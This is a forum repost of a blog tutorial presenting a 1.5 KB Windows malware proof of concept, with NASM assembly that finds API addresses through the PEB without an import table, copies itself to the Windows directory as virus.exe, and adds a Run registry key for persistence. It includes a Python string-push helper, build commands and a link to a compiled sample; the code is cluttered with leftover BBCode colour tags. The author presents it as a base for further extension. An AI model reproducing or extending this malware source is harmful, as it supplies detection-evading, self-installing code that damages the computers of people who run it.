Nytro Posted August 18, 2014 Report Posted August 18, 2014 (edited) Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section Submitted by siteadm on Wed, 08/13/2014 - 21:58 Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app: - Enumerates following APIs: Kernel32GetProcAddress VirtualAlloc GetModuleFileNameA ExitProcess CopyFileA GetWindowsDirectoryA LoadLibraryA Advapi32RegCreateKeyA RegSetKeyValueA RegCloseKey User32MessageBoxA - Allocates 0x0B000 bytes in fixed memory location (0x0C000000) - Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page. - Copies itself to Windows directory under virus.exe name - Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR% - Shows a MessageBox with "Infected!" string as title and text of message. - Terminates itself So this is basically what I did, but developing it and extending it is just a matter of time. Anyway, let's see the code: Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll[COLOR=#008000][[/COLOR]section[COLOR=#008000]][/COLOR] .[COLOR=#007788]text[/COLOR]BITS [COLOR=#0000dd]32[/COLOR]global _start_start[COLOR=#008080]:[/COLOR]xor ecx,ecxmov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR]mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR]lodsdxchg eax,esilodsdmov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR]mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR]add edx,ebxmov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR]add edx,ebxmov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR]add esi,ebxxor ecx,ecxxor ecx,ecxmov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR]mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldrmov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr.[COLOR=#007788]InMemOrder[/COLOR] lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Second modulexchg eax,esi [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] ESI, ESI [COLOR=#000080]=[/COLOR] EAXlodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Third [COLOR=#008000]([/COLOR]kernel32[COLOR=#008000])[/COLOR]mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EBX [COLOR=#000080]=[/COLOR] Base addressmov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] DOS[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]e_lfanewadd edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] PE Headermov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Offset export tableadd edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Export tablemov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset names tableadd esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Names tablexor ecx,ecx [COLOR=#008080];[/COLOR] EXC [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]tryagain[COLOR=#008080]:[/COLOR]inc ecx [COLOR=#008080];[/COLOR] Loop [COLOR=#0000ff]for[/COLOR] each functionlodsdadd eax,ebx [COLOR=#008080];[/COLOR] Loop untill function namecmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#008000]][/COLOR],[COLOR=#208080]0x50746547[/COLOR] [COLOR=#008080];[/COLOR] GetPjnz tryagaincmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x4[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x41636f72[/COLOR] [COLOR=#008080];[/COLOR] rocAjnz tryagaincmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x8[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x65726464[/COLOR] [COLOR=#008080];[/COLOR] ddrejnz tryagainmov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x24[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset ordinalsadd esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Ordinals tablemov cx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CX [COLOR=#000080]=[/COLOR] Number of functiondec ecxmov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x1c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset address tableadd esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Address tablemov edx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Pointer[COLOR=#008000]([/COLOR]offset[COLOR=#008000])[/COLOR]add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] GetProcAddressAs first step, we try to find VirtualAlloc API address:xor ecx,ecx [COLOR=#008080];[/COLOR] ECX [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR]PUSH [COLOR=#0000dd]0[/COLOR]push ebx [COLOR=#008080];[/COLOR] Kernel32 base addresspush edx [COLOR=#008080];[/COLOR] GetProcAddresspush ecx [COLOR=#008080];[/COLOR] [COLOR=#0000dd]0[/COLOR]push [COLOR=#0000dd]0[/COLOR]push [COLOR=#208080]0x636f6c6c[/COLOR]push [COLOR=#208080]0x416c6175[/COLOR]push [COLOR=#208080]0x74726956[/COLOR] [COLOR=#008080];[/COLOR] VirtualAllocpush esppush ebx [COLOR=#008080];[/COLOR] Kernel32 base addresscall edx [COLOR=#008080];[/COLOR] GetProcAddress[COLOR=#008000]([/COLOR]LL[COLOR=#008000])[/COLOR]PUSH eaxAs you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String:import sys[COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]&[/COLOR]lt[COLOR=#008080];[/COLOR] [COLOR=#0000dd]2[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"Please provide a string argument"[/COLOR] [COLOR=#0000dd]exit[/COLOR]APIName [COLOR=#000080]=[/COLOR] sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000][[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000]][/COLOR][COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]%[/COLOR] [COLOR=#0000dd]4[/COLOR] [COLOR=#000040]![/COLOR][COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080]:[/COLOR] APIName [COLOR=#000080]=[/COLOR] APIName.[COLOR=#007788]ljust[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR][COLOR=#000040]/[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR], [COLOR=#FF0000]'[COLOR=#006699][B]\0[/B][/COLOR]'[/COLOR][COLOR=#008000])[/COLOR]print [COLOR=#FF0000]"push 0"[/COLOR][COLOR=#0000ff]for[/COLOR] i in range[COLOR=#008000]([/COLOR][COLOR=#0000dd]1[/COLOR], [COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]/[/COLOR] [COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"push "[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"0x"[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]3[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR]print [COLOR=#FF0000]"push esp ;"[/COLOR] [COLOR=#000040]+[/COLOR] APINameYou can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output:C[COLOR=#008080]:[/COLOR]\[COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]APINameToASM.[COLOR=#007788]py[/COLOR] user32.[COLOR=#007788]dll[/COLOR]push [COLOR=#0000dd]0[/COLOR]push [COLOR=#208080]0x00006c6c[/COLOR]push [COLOR=#208080]0x642e3233[/COLOR]push [COLOR=#208080]0x72657375[/COLOR]push esp [COLOR=#008080];[/COLOR]user32.[COLOR=#007788]dll[/COLOR] Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers:PUSH [COLOR=#208080]0x40[/COLOR] [COLOR=#008080];[/COLOR] DWORD flProtect [COLOR=#000080]=[/COLOR] PAGE_EXECUTE_READWRITEPUSH [COLOR=#208080]0x3000[/COLOR][COLOR=#008080];[/COLOR] DWORD flAllocationType [COLOR=#000080]=[/COLOR] MEM_COMMIT [COLOR=#000040]|[/COLOR] MEM_RESERVEPUSH [COLOR=#208080]0x0B000[/COLOR][COLOR=#008080];[/COLOR] SIZE_T dwSizePUSH [COLOR=#208080]0x0C000000[/COLOR] [COLOR=#008080];[/COLOR] LPVOID lpAddressCALL EAX [COLOR=#008080];[/COLOR] call VirtualAlloc From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this:[COLOR=#208080]0x0c000000[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Kernel32 handle[COLOR=#208080]0x0C000004[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetProcAddress pointer[COLOR=#208080]0x0C000008[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] VirtualAlloc pointer[COLOR=#208080]0x0C00000C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetModuleFileNameA pointer[COLOR=#208080]0x0C000010[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] ExitProcess pointer[COLOR=#208080]0x0C000014[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] CopyFileA pointer[COLOR=#208080]0x0C000018[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetWindowsDirectoryA pointer[COLOR=#208080]0x0C00001C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] LoadLibraryA pointer[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] kernel32 function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#208080]0xA0[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0x04[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0xA4[/COLOR] beginning of Advapi[COLOR=#208080]0x0C0000A4[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Advapi32 handle[COLOR=#208080]0x0C0000A8[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCreateKeyA pointer[COLOR=#208080]0x0C0000AC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegSetKeyValueA pointer[COLOR=#208080]0x0C000060[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCloseKey pointer[COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] user32.[COLOR=#007788]dll[/COLOR] function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0x148[/COLOR] beginning of User32[COLOR=#208080]0x0C000148[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] User32 handle[COLOR=#208080]0x0C00014C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] MessageBoxA pointer Also I used same memory page to store strings, for example:[COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Current EXE file path [COLOR=#008000]([/COLOR]returned by GetModuleFileName API[COLOR=#008000])[/COLOR][COLOR=#208080]0x0C00ADEC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Windows Directory path [COLOR=#008000]([/COLOR]returned by GetWindowsDirectory API[COLOR=#008000])[/COLOR][COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"viri"[/COLOR] string [COLOR=#008000]([/COLOR]registry value name[COLOR=#008000])[/COLOR][COLOR=#208080]0x0C00AB8C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"Infected!"[/COLOR] string Also I created 3 functions to resolve API pointers easier:EnumKernelAPI[COLOR=#008080]:[/COLOR]POP EBP [COLOR=#008080];[/COLOR] ret addrMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] kernel32 handlecall dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddressMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH EBPretnEnumAdvapiAPI[COLOR=#008080]:[/COLOR]POP EBP [COLOR=#008080];[/COLOR] ret addrMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] advapi32 handlecall dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddressMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH EBPretnEnumUserAPI[COLOR=#008080]:[/COLOR]POP EBP [COLOR=#008080];[/COLOR] ret addrMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x148[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] user32 handlecall dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddressMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH EBPretn Also you need to call ExitProcess to prevent crashing, so:TerminateProcess[COLOR=#008080]:[/COLOR]PUSH [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] dwExitCodeMOV ECX, [COLOR=#208080]0x0C000000[/COLOR] CALL DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call ExitProcess is necessary. After resolving APIs, calling them is really easy, for example:MOV ECX, [COLOR=#208080]0x0C000000[/COLOR]push [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] bFailIfExists [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR]push [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#000040]%[/COLOR]WINDIR[COLOR=#000040]%[/COLOR]\Virus.[COLOR=#007788]exe[/COLOR]push [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#008080];[/COLOR] Current EXE pathcall dword[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CopyFileA Result: Another call:mov ecx, [COLOR=#208080]0xC00ADAC[/COLOR][COLOR=#008080];[/COLOR] location of subkeymov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]44[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x0000006e[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]40[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x75525c6e[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]36[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f697372[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]32[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6556746e[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]28[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65727275[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]24[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x435c7377[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]20[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f646e69[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]16[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x575c7466[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]12[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f736f72[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]8[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x63694d5c[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65726177[/COLOR]mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#008000]][/COLOR], [COLOR=#208080]0x74666f53[/COLOR] [COLOR=#008080];[/COLOR]Software\Microsoft\Windows\CurrentVersion\Runpush [COLOR=#208080]0xC00ADE0[/COLOR] [COLOR=#008080];[/COLOR] PHKEY phkResultpush [COLOR=#208080]0xC00ADAC[/COLOR] [COLOR=#008080];[/COLOR] lpSubkey [COLOR=#000080]=[/COLOR] Software\Microsoft\Windows\CurrentVersion\Runpush [COLOR=#208080]0x80000002[/COLOR][COLOR=#008080];[/COLOR] HKEY [COLOR=#000080]=[/COLOR] HKEY_LOCAL_MACHINEmov ecx, [COLOR=#208080]0x0C000000[/COLOR]call dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA8[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegCreateKeyAmov ecx, [COLOR=#208080]0x0C000000[/COLOR]MOV DWORD[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE5[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x69726976[/COLOR] [COLOR=#008080];[/COLOR] viri string, will be used as registry value nameMOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] Address of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR] stringSUB ECX,ECXSUB AL,ALNOT ECXCLDREPNE SCASBNOT ECXDEC ECX [COLOR=#008080];[/COLOR] Length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR], instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other nameMOV EBX, [COLOR=#208080]0x0C000000[/COLOR]MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR]PUSH ECX [COLOR=#008080];[/COLOR] DWORD cbData [COLOR=#008000]([/COLOR]length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]PUSH EDI [COLOR=#008080];[/COLOR] LPCVOID lpData [COLOR=#008000]([/COLOR]C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR]PUSH [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] DWORD dwTYPE [COLOR=#000080]=[/COLOR] REG_SZPUSH [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpValueName [COLOR=#000080]=[/COLOR] viriPUSH [COLOR=#0000dd]0[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpSubKey [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]NULL[/COLOR] [COLOR=#008000]([/COLOR]will use already open key[COLOR=#008000])[/COLOR]PUSH DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey [COLOR=#000080]=[/COLOR] output of previous RegCreateKeyA callCALL DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xAC[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegSetKeyValueMOV ECX, [COLOR=#208080]0x0C000000[/COLOR]PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey[COLOR=#008080];[/COLOR]Call DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xB0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call RegCloseKey Result: Anyway, you can see entire source code here. To compile you need to run two commands:nasm -fwin32 IATLess.asmlink /subsystem:windows /entry:start IATLess.obj No .data section: and no IAT entry: PEStudio screenshot: UPDATE: As requested, I uploaded compiled file here. Password: infectedSursa: https://www.codeandsec.com/PoC-Tiny-Malware-Without-IAT-DATA-Or-Resource-Section Edited August 18, 2014 by Nytro Quote